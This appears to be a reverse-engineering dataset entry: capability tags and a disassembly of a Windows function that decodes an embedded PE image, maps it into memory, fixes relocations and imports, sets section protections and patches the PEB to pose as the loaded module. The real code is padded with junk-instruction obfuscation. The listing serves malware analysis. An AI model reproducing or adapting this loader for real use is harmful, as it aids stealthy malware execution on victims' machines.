Function at 0x402f80
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4a324
call fcn.00408f40
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x4a210]
lea eax, [0x423aca]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x4a200
call fcn.0040c280
mov esi, 0x23
ror edx, 0x4f
imul esi
bswap ebx
dec edx
or eax, 0x1e
bswap edi
ror esi, 0xdb
bswap edx
rol edx, 5
inc ebx
rol edi, 0xb
imul edx
sbb edi, 0xb7
rcl edi, 0xf5
or edx, 0xf6
inc eax
neg edx
imul edx
imul edx
inc eax
rol edx, 0x22
sbb eax, 0xf8
bswap ebx
dec edi
rcr ebx, 0x7b
add edx, 0x13
or ebx, 0x91
dec ebx
add eax, 4
rol ebx, 0x87
dec eax
bswap esi
rcr ebx, 0xc1
neg ebx
inc esi
not esi
sbb eax, 0x2e
or edi, 0xf1
inc ebx
ror eax, 0x9a
bswap eax
mov eax, 0x36
or edi, 0x2b
imul ebx
not ebx
and eax, 0xf4
dec esi
mov edi, 0xa2
inc esi
rcr ebx, 0x8c
add eax, 0xc7
imul edx
and edx, 0xef
sub ebx, 0xd9
neg eax
sub edx, 0x2a
dec edi
rcr esi, 0xfb
neg esi
imul ebx
add ebx, 0xbf
rcr edi, 0x83
neg eax
rcl ebx, 0x11
dec edx
mov edi, 0x56
dec ebx
inc esi
inc edi
rol esi, 0xb5
rol edx, 0x28
ror ebx, 0x81
imul edx
ror edi, 0x66
not esi
ror edx, 0x5a
add edx, 0xaf
sub eax, 0xf0
rcl edx, 0x1a
bswap esi
not esi
dec edx
dec edx
rol eax, 0x88
inc esi
rcr eax, 0x78
neg edi
ror eax, 0x90
neg edx
not edi
mov eax, 0xfc
ror edi, 0xa5
imul eax
mov edi, 0xe7
rol edx, 0x38
mov edi, 0xf1
ror eax, 0xec
rcl esi, 0x1b
dec edi
sub eax, 0xb
or ebx, 0x3b
not edx
bswap edx
sub ebx, 0xb9
dec esi
imul edi
rcl esi, 0x8b
neg edi
dec eax
dec edi
imul edx
not esi
and esi, 0x22
bswap ebx
imul eax
neg edx
and eax, 0x39
and esi, 0x41
or esi, 0xd5
not eax
or esi, 0x9d
rcr edx, 0x6a
and edx, 0x14
or edi, 0x5d
rol edx, 0x13
inc edx
rol edi, 0x20
rcr esi, 0xdf
sbb edx, 0x70
sbb eax, 0x18
bswap edx
add edx, 0xd9
mov eax, 0x49
neg eax
not ebx
rcl edi, 0x2c
rcr esi, 0x9b
imul ebx
rcr edi, 0xd1
inc esi
rcl ebx, 0x6f
and edi, 0xe3
or eax, 0x84
add ebx, 0xc2
inc edx
dec edi
dec edx
inc edi
sub eax, 0x11
rcl ebx, 0xeb
add edx, 0x6b
imul eax
neg edx
ror edx, 0xf3
dec ebx
inc esi
imul edx
neg edi
imul esi
bswap ebx
inc eax
imul edi
inc edx
inc eax
rcr eax, 0x3a
not ebx
inc edi
not ebx
rol edx, 0x18
rol edi, 0xec
inc edx
imul eax
neg eax
inc edx
sub edi, 0x50
imul eax
neg edi
sub ebx, 0x5d
not edi
neg esi
inc ebx
and edx, 0xea
rol ebx, 0x6d
sbb esi, 0xbc
neg ebx
and edx, 0xf3
rcl ebx, 0xa3
rcl esi, 0x4f
neg ebx
rcl edx, 0x2b
sub esi, 0x3f
or ebx, 0xc8
add edi, 0xf8
imul esi
neg ebx
ror esi, 0x47
neg esi
not esi
neg eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4a210]
mov dword [esp], eax
mov dword [esp + 4], 0x4a200
call fcn.00402ce0
lea eax, [ebp - 0x4a210]
mov dword [ebp + 8], eax
not eax
sub ebx, 0x6b
rcr eax, 0xce
rcl edi, 0x12
dec edx
rcr edi, 0xb4
mov ebx, 0x16
imul esi
not eax
rcl eax, 0x58
neg esi
and edi, 0x7b
rcr eax, 0xe9
dec ebx
inc edx
rol ebx, 0xb2
and ebx, 0x39
ror ebx, 0xe5
neg esi
add esi, 0x8d
rcr edi, 0x35
or edi, 0xb7
not esi
bswap eax
neg edx
mov eax, 0x70
and edi, 0xf
mov eax, 0xe8
rcl ebx, 0xe4
not edi
neg esi
neg eax
sub esi, 0x6f
add eax, 0x53
and edx, 0x3d
add ebx, 0x30
inc esi
not esi
and esi, 0xa2
bswap eax
sub esi, 0x2f
sbb esi, 0xad
dec esi
not eax
rcr eax, 0xfe
and eax, 0xf8
sbb ebx, 7
not eax
rol edi, 0x91
ror ebx, 0xc6
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4a214], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x4a214]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x4a218], eax
mov eax, dword [ebp - 0x4a218]
cmp dword [eax], 0x4550
je 0x4032c1
mov dword [ebp - 0x10], 1
jmp 0x4047e9
mov eax, dword [ebp - 0x4a218]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x4a220], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x4a21c], eax
mov eax, dword [ebp - 0x4a218]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4a314], eax
cmp dword [ebp - 0x4a21c], 0
je 0x403308
xor eax, eax
mov dword [ebp - 0x4a318], eax
jmp 0x403317
mov eax, dword [ebp - 0x4a218]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4a318], eax
mov eax, dword [ebp - 0x4a314]
mov ecx, dword [ebp - 0x4a318]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x4a224], eax
cmp dword [ebp - 0x4a21c], 0
jne 0x403377
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a218]
cmp eax, dword [ecx + 0x34]
je 0x403377
mov dword [ebp - 0x10], 2
jmp 0x4047e9
imul edi
and esi, 0x57
imul esi
sub eax, 0x51
sbb eax, 0x98
or ebx, 0x4f
add edx, 0xaa
sbb eax, 0x9c
mov edi, 0x64
sbb ebx, 2
bswap ebx
and edi, 0x32
ror ebx, 0x32
inc eax
bswap ebx
bswap eax
mov esi, 0xaf
add eax, 0x60
not esi
bswap edx
not edi
sbb eax, 0x65
rcl eax, 0x5a
bswap edi
rcr esi, 0xca
mov edx, 0xd
sbb edx, 0xb5
and eax, 0xe7
not edx
and edx, 0x4a
imul eax
bswap edi
imul eax
inc esi
dec ebx
rcl edx, 0x30
sbb edi, 0x45
add eax, 7
ror ebx, 0x64
sbb edx, 0x41
rcl ebx, 0x83
add edx, 0x71
or edx, 0x67
neg ebx
add ebx, 0xb6
and esi, 0x9d
bswap ebx
imul ebx
dec ebx
add eax, 0xfc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x4a224]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00402f10
sub ebx, 0xfa
and edx, 0x86
mov edx, 0xce
mov esi, 0xcb
neg ebx
neg esi
rol eax, 1
neg eax
sub edx, 0xa1
add edi, 0x57
rcl esi, 0x12
bswap eax
sbb esi, 0x67
or ebx, 0x52
mov ebx, 1
imul edi
rcr edx, 0x1c
not esi
rcl ebx, 0x47
inc edx
or edi, 0xc1
inc edx
and eax, 0xaf
dec esi
rol edx, 0xb3
rol esi, 0x34
and ebx, 0xe9
sub edi, 0xdd
rcl edx, 0x56
add edx, 0xa0
bswap esi
add esi, 0xb9
inc eax
dec edx
rol edi, 0x7b
or edi, 0x1f
imul edx
ror edx, 0xcd
rcr esi, 0x96
imul edi
dec ebx
inc edx
imul edx
or eax, 0xc8
ror eax, 0x43
neg ebx
ror ebx, 0x33
dec ebx
inc ebx
neg eax
rcr edi, 0xf5
neg esi
and eax, 0x7e
dec ebx
ror eax, 0x37
neg ebx
rcl ebx, 0x19
sbb edi, 0x67
dec esi
bswap eax
and eax, 0xd3
dec edi
bswap edx
rol esi, 0xaf
sbb eax, 0x19
imul edi
and edi, 0x4f
mov ebx, 0x43
rol edx, 0x51
sbb ebx, 0x47
imul ebx
rcl edx, 0x2c
sub esi, 0xa7
mov esi, 0x5c
rcl eax, 0x21
rcl eax, 0xe0
inc esi
sbb edi, 0x47
imul edx
sbb eax, 0x95
mov eax, 0xac
not edx
not ebx
rcl esi, 0xfd
sub edx, 0xcf
neg edx
ror esi, 0x13
imul esi
inc edi
mov esi, 8
bswap esi
inc esi
sbb eax, 0xdc
neg edx
rcl edi, 0x15
sub edi, 0x63
and eax, 0x54
bswap esi
inc esi
imul esi
add esi, 0x74
inc edi
sbb ebx, 0x83
bswap edi
and ebx, 0x4d
dec ebx
dec esi
and ebx, 0xd0
rcr eax, 0xd5
ror edi, 4
neg eax
rcl esi, 0x21
not ebx
inc edi
mov esi, 0xc4
not edx
neg esi
ror edx, 0xc
inc esi
or eax, 0xc3
imul ebx
neg esi
dec edx
inc edi
inc eax
sub ebx, 0xaf
rcr eax, 0x4b
dec edi
ror eax, 0xe7
bswap esi
or ebx, 0xf6
or edx, 0xed
imul esi
dec ebx
or eax, 0x92
neg esi
inc ebx
neg ebx
not edx
ror edx, 0xb5
imul ebx
rcr eax, 0xa
bswap ebx
rcr edi, 0xdd
inc ebx
rcr edx, 0xe
mov esi, 0xa
sbb edi, 0x9a
bswap edi
imul edx
ror edx, 0x47
rcl edi, 0xea
sub eax, 0xbf
sbb esi, 0xc
neg eax
sbb edi, 0xae
inc esi
mov eax, 0x3d
rcl ebx, 0x27
or esi, 0xaa
bswap ebx
bswap edi
imul esi
rol eax, 0xc2
inc eax
ror ebx, 0xa7
or edi, 0x4a
bswap edi
ror ebx, 0x26
inc esi
inc eax
and eax, 9
bswap edi
mov esi, 0xd9
inc eax
mov ebx, 0x48
rol ebx, 0xe0
rcr edi, 0x12
or ebx, 0xe5
or edi, 1
imul eax
sbb edx, 0xba
rcr esi, 0x71
bswap edi
rcr ebx, 0xd0
or eax, 0xff
neg esi
dec ebx
add ebx, 0xea
imul edi
sub eax, 0xe5
imul esi
ror ebx, 0xe8
dec esi
imul ebx
inc eax
ror edi, 0x6b
rcl eax, 0xb7
mov esi, 0x84
sub edi, 0xf4
bswap esi
add edx, 0x60
or edi, 0xe9
rcr eax, 0x4a
sbb ebx, 0xbc
sub edx, 0x47
sub eax, 0x5d
imul ebx
and esi, 0x49
inc edi
add edx, 0xf2
ror esi, 0xcc
or edi, 0x1f
neg esi
sub edi, 0xbb
and eax, 0x71
imul edx
sub edi, 0xb9
rcr ebx, 0xb1
neg ebx
rcl ebx, 0x2a
rcr ebx, 0x9b
rcl ebx, 0x64
add eax, 0x8a
bswap edi
and edx, 0x63
not edx
bswap edx
bswap edx
ror edx, 0x8f
ror edx, 0x54
add edx, 0x1b
dec edx
rcl esi, 0xff
inc edx
bswap edi
or edx, 0x77
imul eax
imul ebx
and eax, 0xe8
bswap edi
sub edx, 0x40
inc eax
ror eax, 0xd9
add edx, 0xea
neg esi
bswap ebx
imul edi
rcr eax, 0xec
add edi, 0xb4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x4a218]
add eax, 0x18
mov ecx, dword [ebp - 0x4a218]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x4a228], eax
mov dword [ebp - 0x4a22c], 0
mov eax, dword [ebp - 0x4a22c]
mov ecx, dword [ebp - 0x4a218]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4037b1
mov eax, dword [ebp - 0x4a228]
imul ecx, dword [ebp - 0x4a22c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x4a228]
imul esi, dword [ebp - 0x4a22c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x4a224]
mov esi, dword [ebp - 0x4a228]
imul edi, dword [ebp - 0x4a22c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00402f10
mov eax, dword [ebp - 0x4a22c]
add eax, 1
mov dword [ebp - 0x4a22c], eax
jmp 0x403736
rcr ebx, 0xf4
rcr ebx, 0x66
mov ebx, 0x9d
imul esi
mov edi, 0x89
rcr esi, 0x9c
rcr ebx, 0xf8
sub eax, 0xa
inc eax
sbb eax, 0xbd
bswap edi
imul edi
rol edx, 0x69
neg edx
sbb esi, 0xef
and eax, 7
not edi
neg esi
not eax
inc eax
imul ebx
imul esi
rcl eax, 0xa2
add eax, 0x9c
dec eax
imul edx
rcr ebx, 0x55
inc ebx
inc edi
rol ebx, 0x4e
add eax, 0x59
rcr ebx, 0xd7
bswap eax
mov edi, 0xee
not edx
neg esi
rol edx, 0x85
bswap edi
rol esi, 0xf9
neg eax
mov ebx, 0x75
ror edi, 0x87
not ebx
bswap esi
mov ebx, 0xf
dec edi
neg eax
dec edx
bswap edi
inc ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a218]
cmp eax, dword [ecx + 0x34]
je 0x40396a
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a218]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x4a230], eax
mov eax, dword [ebp - 0x4a224]
add eax, dword [ebp - 0x4a220]
mov dword [ebp - 0x4a234], eax
mov dword [ebp - 0x4a238], 0
mov eax, dword [ebp - 0x4a238]
cmp eax, dword [ebp - 0x4a21c]
jae 0x403965
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a234]
add eax, dword [ecx]
mov dword [ebp - 0x4a23c], eax
mov eax, dword [ebp - 0x4a234]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x4a240], eax
mov eax, dword [ebp - 0x4a234]
add eax, 8
mov dword [ebp - 0x4a244], eax
mov dword [ebp - 0x4a248], 0
mov eax, dword [ebp - 0x4a248]
cmp eax, dword [ebp - 0x4a240]
jge 0x40393f
mov eax, dword [ebp - 0x4a244]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x40391c
mov ecx, dword [ebp - 0x4a230]
mov eax, dword [ebp - 0x4a23c]
mov edx, dword [ebp - 0x4a244]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4a244]
add eax, 2
mov dword [ebp - 0x4a244], eax
mov eax, dword [ebp - 0x4a248]
add eax, 1
mov dword [ebp - 0x4a248], eax
jmp 0x4038d1
mov eax, dword [ebp - 0x4a234]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x4a238]
mov dword [ebp - 0x4a238], eax
mov eax, dword [ebp - 0x4a244]
mov dword [ebp - 0x4a234], eax
jmp 0x40387e
jmp 0x40396a
ror esi, 0xa4
imul eax
sbb edx, 0x7f
bswap eax
rcr esi, 0xa3
not edi
inc eax
ror eax, 0x20
rcl ebx, 0xe2
bswap esi
imul edx
imul ebx
inc edi
not edi
rcr edi, 0x60
inc eax
or edx, 0x46
sub edi, 0x1b
dec edx
imul edx
neg edi
imul edx
ror edi, 0x97
sub esi, 0xaa
or edx, 0xdd
inc edi
rcr ebx, 0x98
bswap eax
bswap edx
dec edx
sub edi, 0xd7
inc ebx
rcl edi, 0xcb
rcl ebx, 0x32
or edx, 0xb
add eax, 0xa5
rcl esi, 0xfc
rcl edx, 0xba
inc ebx
add edi, 0x7d
dec eax
inc eax
dec eax
bswap edx
rcl edi, 0xe7
bswap esi
neg eax
not eax
imul esi
inc edx
sub ebx, 0xe9
imul ebx
add esi, 0x58
add edi, 0x79
rol edx, 0xb6
mov eax, 0x75
sbb ebx, 0x57
add ebx, 0xcd
bswap ebx
imul esi
dec esi
mov edi, 0x84
sbb edi, 0xdf
dec edi
neg ebx
and ebx, 0xfd
bswap esi
or ebx, 0x39
rcr esi, 0xc3
and eax, 3
and ebx, 0xfa
and edx, 0xd3
ror edx, 0xca
rol eax, 0xc4
or edx, 0xd1
ror ebx, 0xfd
not esi
inc edi
ror ebx, 0x91
rol edi, 0xfb
dec edx
sbb esi, 0x41
rol edi, 6
inc esi
dec ebx
rcl esi, 0x31
neg eax
dec edi
inc edx
rcl edi, 0x31
neg ebx
inc esi
neg edx
and edx, 0x80
mov ebx, 0x3d
not eax
sbb esi, 0x5c
rcl esi, 0x99
rol ebx, 0x72
neg edx
or esi, 0xd5
imul ebx
or ebx, 0xc1
sbb ebx, 0xf3
mov ebx, 0xa7
or ebx, 4
neg edx
rcr eax, 0x23
ror ebx, 0x46
imul ebx
rcl edi, 0x19
bswap eax
not ebx
not ebx
sbb ebx, 0x3d
rol eax, 0xd2
sbb ebx, 0x22
dec edx
rol eax, 0xef
and edi, 0x54
rcl edx, 0xce
and eax, 0xf2
rcr esi, 0x80
dec ebx
sub ebx, 0x8d
ror edx, 0x53
rcr eax, 0x9f
ror eax, 1
not esi
rcl ebx, 0xc4
neg eax
dec edi
and edi, 0xbc
not eax
imul edx
inc edx
imul edx
sbb esi, 0x62
inc edi
and eax, 0x4a
rol ebx, 0x40
dec esi
sbb ebx, 0xb8
not edx
imul edi
add ebx, 0x89
imul esi
not ebx
sbb ebx, 0x54
sub edi, 0xb4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a218]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x4a24c], eax
mov dword [ebp - 0x4a250], 0
mov eax, dword [ebp - 0x4a24c]
imul ecx, dword [ebp - 0x4a250], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x403ca6
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a24c]
imul edx, dword [ebp - 0x4a250], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x4a254], eax
mov eax, dword [ebp - 0x4a254]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x4a258], eax
cmp dword [ebp - 0x4a258], 0
jne 0x403b95
jmp 0x403c92
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a24c]
imul edx, dword [ebp - 0x4a250], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x4a25c], eax
mov dword [ebp - 0x4a260], 0
mov eax, dword [ebp - 0x4a25c]
mov ecx, dword [ebp - 0x4a260]
cmp dword [eax + ecx*4], 0
je 0x403c8d
mov eax, dword [ebp - 0x4a224]
mov ecx, dword [ebp - 0x4a25c]
mov edx, dword [ebp - 0x4a260]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x4a264], eax
mov eax, dword [ebp - 0x4a25c]
mov ecx, dword [ebp - 0x4a260]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x4a258]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4a268], eax
cmp dword [ebp - 0x4a268], 0
jne 0x403c4e
mov eax, dword [ebp - 0x4a264]
add eax, 2
mov ecx, dword [ebp - 0x4a258]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4a268], eax
mov ecx, dword [ebp - 0x4a268]
mov eax, dword [ebp - 0x4a224]
mov edx, dword [ebp - 0x4a24c]
imul esi, dword [ebp - 0x4a250], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x4a260]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x4a260]
add eax, 1
mov dword [ebp - 0x4a260], eax
jmp 0x403bbd
jmp 0x403c92
mov eax, dword [ebp - 0x4a250]
add eax, 1
mov dword [ebp - 0x4a250], eax
jmp 0x403b34
mov dword [ebp - 0x4a270], 0
mov eax, dword [ebp - 0x4a270]
mov ecx, dword [ebp - 0x4a218]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x403e2e
mov dword [ebp - 0x4a274], 0x40
mov eax, dword [ebp - 0x4a228]
imul ecx, dword [ebp - 0x4a270], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x4a278], eax
mov eax, dword [ebp - 0x4a278]
and eax, 0x40000000
cmp eax, 0
je 0x403d35
mov eax, dword [ebp - 0x4a278]
and eax, 0x80000000
cmp eax, 0
je 0x403d35
mov eax, dword [ebp - 0x4a278]
and eax, 0x20000000
cmp eax, 0
je 0x403d35
mov dword [ebp - 0x4a274], 0x40
jmp 0x403dd0
mov eax, dword [ebp - 0x4a278]
and eax, 0x40000000
cmp eax, 0
je 0x403d6c
mov eax, dword [ebp - 0x4a278]
and eax, 0x80000000
cmp eax, 0
je 0x403d6c
mov dword [ebp - 0x4a274], 4
jmp 0x403dcb
mov eax, dword [ebp - 0x4a278]
and eax, 0x40000000
cmp eax, 0
je 0x403da3
mov eax, dword [ebp - 0x4a278]
and eax, 0x20000000
cmp eax, 0
je 0x403da3
mov dword [ebp - 0x4a274], 0x20
jmp 0x403dc6
mov eax, dword [ebp - 0x4a278]
and eax, 0x40000000
cmp eax, 0
je 0x403dc1
mov dword [ebp - 0x4a274], 2
jmp 0x403dc6
jmp 0x403dcb
jmp 0x403dd0
mov ecx, dword [ebp - 0x4a274]
mov eax, dword [ebp - 0x4a228]
imul edx, dword [ebp - 0x4a270], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x4a224]
mov eax, dword [ebp - 0x4a228]
imul edi, dword [ebp - 0x4a270], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x4a26c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00402f40
mov eax, dword [ebp - 0x4a270]
add eax, 1
mov dword [ebp - 0x4a270], eax
jmp 0x403cb0
mov edx, 0xdd
inc edi
imul ebx
neg ebx
dec eax
ror esi, 0x7d
mov ebx, 0x3b
bswap ebx
inc edi
neg edx
bswap edx
or edx, 0x8d
sub esi, 0x17
dec esi
not edx
imul edi
rol edi, 0xc3
rcr eax, 0x3e
inc eax
sub ebx, 0x70
ror ebx, 0xca
imul eax
sbb ebx, 0xea
not eax
sbb esi, 0x9e
not esi
imul edx
inc edi
and edx, 0x3d
neg edi
sub edx, 0xcf
inc esi
sub eax, 0x6c
rcr ebx, 0x90
rcl esi, 0xe2
ror edi, 0xf6
sbb esi, 0x81
not ebx
rol edx, 0x88
sub ebx, 0xd1
or edx, 0x5a
sub esi, 0xb4
inc edi
mov esi, 0x8a
imul esi
rol esi, 8
or edx, 0xad
mov esi, 0x8d
add ebx, 0x7a
not edi
rcl esi, 0x4c
not ebx
add ebx, 0xd8
not edx
ror ebx, 0x64
not edx
not edx
rcr eax, 0xc
sbb eax, 5
imul esi
add eax, 0xd3
rol esi, 0xad
bswap eax
sub ebx, 0x62
and ebx, 0xca
not edi
rcr eax, 0x9a
dec ebx
mov ebx, 0x58
rcl eax, 0xe
neg esi
or eax, 0xa1
rcl esi, 0x9a
inc esi
or ebx, 0x66
not edi
mov eax, 0x96
mov edx, 0xd0
dec edx
ror edi, 0x4d
not edi
imul ebx
dec edi
rol edx, 0xf8
sub eax, 0xa9
imul edi
bswap edi
not edx
imul edi
add edi, 0xcb
dec edx
imul eax
neg eax
neg ebx
inc eax
bswap edx
rol edx, 0x91
sbb edi, 0x7b
imul edi
mov eax, 0xd0
and esi, 0xea
add ebx, 0x48
mov edx, 0xc9
imul eax
rcr esi, 0xeb
dec eax
not ebx
mov ebx, 0xb6
sub edi, 0x98
bswap eax
bswap ebx
or edi, 0xc2
rcl ebx, 0x71
bswap esi
and ebx, 0x5d
or eax, 0xa3
and ebx, 0x14
rcr edx, 0xd9
sub ebx, 0xd2
ror edx, 0x8f
imul esi
neg eax
inc ebx
neg ebx
or eax, 0xa4
not esi
imul edx
inc esi
or edi, 0xe7
bswap edx
inc esi
neg esi
neg ebx
dec edx
imul edi
and eax, 0xc2
inc esi
bswap eax
sbb edi, 0xcf
imul eax
rcl edx, 0x45
not edx
imul edi
sub edi, 0x4a
mov eax, 0x77
and eax, 0x6c
inc ebx
and edx, 8
dec edi
rcl edi, 0x7c
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x4a27c], eax
mov eax, dword [ebp - 0x4a27c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x4a280], eax
mov eax, dword [ebp - 0x4a280]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x4a284], eax
rcl eax, 2
add edi, 0xcc
and ebx, 0x75
bswap ebx
add esi, 0x8b
neg edx
neg edx
rcl esi, 0x5d
mov eax, 0xfb
dec edx
inc edi
neg edx
inc esi
mov edi, 0xf2
imul edi
dec edx
add eax, 0xa2
add edi, 0xa7
bswap edi
rcr edi, 0x4f
rol eax, 0xbb
bswap edi
not edx
neg esi
bswap edx
rol edi, 0x8d
inc eax
inc esi
not eax
sbb eax, 0xae
inc esi
neg edi
neg esi
not ebx
dec edx
ror esi, 0x80
imul eax
inc esi
imul ebx
bswap esi
not edx
inc edi
inc edi
neg edx
or edx, 0xa8
rol edi, 0xc8
neg edx
neg ebx
dec eax
dec edi
neg edi
not eax
rcl ebx, 0x96
inc esi
or edx, 0x23
not ebx
not edi
inc edx
add ebx, 0x4e
bswap esi
add ebx, 0xfe
sbb edx, 0xac
inc edi
sbb edx, 0x91
and edi, 0xbc
neg ebx
not edi
inc edx
and ebx, 0x8c
neg edi
dec eax
not edx
and edi, 0xdb
imul ebx
and eax, 0x1f
or edi, 4
not esi
add ebx, 0xd7
inc edx
bswap edi
inc esi
dec edx
inc esi
bswap eax
rcr edx, 0x27
dec esi
rcr ebx, 0x6f
bswap eax
bswap esi
inc eax
add ebx, 0xc0
dec ebx
imul ebx
sbb esi, 0x78
and esi, 0xa5
sbb edi, 0xa8
ror eax, 0x62
dec esi
rol esi, 0x6b
dec esi
neg eax
rcl edx, 0x66
ror esi, 0xce
and esi, 0xce
rcl ebx, 0x82
neg esi
dec eax
neg esi
bswap esi
rcl edi, 0xc0
bswap eax
and eax, 0x3c
inc eax
inc edx
inc edx
inc edx
not edi
rol ebx, 0x61
neg esi
ror edi, 0x63
dec edx
neg ebx
rol eax, 0xea
imul edx
neg ebx
sbb esi, 0xc1
bswap eax
bswap eax
bswap eax
neg ebx
rcr edi, 0x8d
mov eax, 0xd9
not esi
inc edi
not esi
add eax, 0x5f
dec edi
rcl edi, 0xc6
sub esi, 4
and ebx, 0x59
bswap eax
neg edx
dec edx
rol edx, 0xaa
dec edx
bswap edx
rcr ebx, 0x47
inc esi
inc edi
neg edx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x4a224]
mov eax, dword [ebp - 0x4a27c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x4a224]
mov eax, dword [ebp - 0x4a284]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x4a284]
add eax, 0x24
mov dword [ebp - 0x4a288], eax
bswap edi
sbb edi, 0xe5
rcr edi, 0x3e
rcl esi, 0xd8
rcl edx, 0x70
dec eax
neg edi
ror ebx, 0x57
ror eax, 0x8e
inc ebx
and edx, 0x63
or edi, 0x2c
and edi, 0xf2
not ebx
ror ebx, 0x13
or edi, 0x47
inc esi
imul edi
add eax, 0x81
or edi, 0x6c
ror eax, 0xa3
inc ebx
bswap esi
sbb ebx, 0x8d
bswap ebx
sub esi, 0x19
rol edi, 0x86
ror edi, 0x27
not eax
mov esi, 0x76
add edi, 0xc4
imul edi
dec esi
neg ebx
rcl edx, 0x85
ror edx, 0x95
or eax, 0x25
bswap edx
rcr esi, 0x43
inc eax
mov edx, 0x27
and eax, 0x73
rcr edx, 0x2a
not edx
imul edx
sbb esi, 0xca
rcl eax, 0x44
or edx, 8
imul eax
dec edx
add esi, 0xd9
add ebx, 0x75
and edx, 0x6f
neg edx
not edx
add edx, 0xcd
dec esi
mov eax, 0xa1
or esi, 0x7b
or edx, 0xac
sub eax, 0x8d
mov esi, 0xce
sub ebx, 0x68
sub eax, 0xb6
add esi, 0x1f
add eax, 0x46
add edi, 0x3a
dec esi
add esi, 0xf0
imul eax
rcl edx, 0x52
inc eax
imul edi
mov ebx, 5
rcl ebx, 0x95
sbb edi, 0x23
not esi
and edx, 0xc9
rol eax, 0x6b
neg edx
or ebx, 0xa8
ror edi, 0x43
imul esi
and ebx, 0xda
add esi, 0x8d
rol edx, 0x4a
and edx, 0x4a
rol edi, 0x26
rcr ebx, 0xc4
dec edx
neg esi
inc edi
dec edx
or eax, 0xc2
rol edi, 0x5c
neg ebx
rcl esi, 0xd5
not ebx
not edx
sbb esi, 0x64
or esi, 0x29
bswap ebx
rcr ebx, 0x1c
rcl edx, 0x1c
and esi, 1
rcl edi, 0xc0
rcr edx, 0x71
neg ebx
or edi, 0x45
or esi, 0x4d
neg edx
ror edi, 0xea
sbb esi, 0xba
rcr ebx, 0x5e
sub esi, 0
inc ebx
not eax
bswap eax
neg eax
imul edi
not edx
mov edi, 0x50
rol ebx, 0xe
sub edx, 0x58
inc esi
not edx
imul ebx
add eax, 0x64
and esi, 0x92
bswap esi
imul edx
bswap edx
bswap esi
